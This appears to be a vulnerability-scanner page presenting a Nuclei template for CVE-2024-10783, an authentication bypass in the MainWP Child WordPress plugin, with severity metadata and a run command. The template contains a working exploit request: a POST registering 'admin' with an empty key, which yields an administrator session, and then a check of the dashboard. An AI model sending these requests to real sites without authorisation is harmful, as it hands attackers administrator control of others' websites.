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WordPress Plugin MainWP Child - Authentication Bypass

ID: CVE-2024-10783

Severity: high

Author: Sean Murphy,iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,wp,mainwp-child,wpscan,wordpress,wp-plugin,auth-bypass

Description

Section titled “Description”

The plugin is vulnerable to an authentication bypass that allows an unauthenticated user to login as an administrator without providing a password. This vulnerability is only exploitable when the plugin has not been connected to a MainWP Dashboard and the “Require unique security ID” option is not enabled (it is disabled by default).

YAML Source

Section titled “YAML Source”
id: CVE-2024-10783


info:
  name: WordPress Plugin MainWP Child - Authentication Bypass
  author: Sean Murphy,iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The plugin is vulnerable to an authentication bypass that allows an unauthenticated user to login as an administrator without providing a password. This vulnerability is only exploitable when the plugin has not been connected to a MainWP Dashboard and the "Require unique security ID" option is not enabled (it is disabled by default).
  reference:
    - https://wpscan.com/vulnerability/1898d4f4-1874-4d00-8930-15774d57c9ed/
    - https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-child.php#L76
    - https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-connect.php#L69
    - https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-connect.php#L788
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3197586%40mainwp-child&new=3197586%40mainwp-child&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2024-10783
    cwe-id: CWE-862
    epss-score: 0.00103
    epss-percentile: 0.2532
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/mainwp-child/"
  tags: cve,cve2024,wp,mainwp-child,wpscan,wordpress,wp-plugin,auth-bypass


flow: http(1) && http(2)


variables:
  username: admin


http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        function=register&user={{username}}&pubkey=


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - wordpress_logged_in
        internal: true


      - type: word
        part: body
        words:
          - '<mainwp>'
        internal: true


  - raw:
      - |
        GET /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Howdy, {{username}}'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b74fdc9b237960e15745cd3cea64f1ade8f76d5a93a57ce2ea226f5cb5b23abf02200dbb0e4834ea957373da5bda323fda02f9ed2c6cf013370ac403fa3814c166ac:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-10783.yaml"

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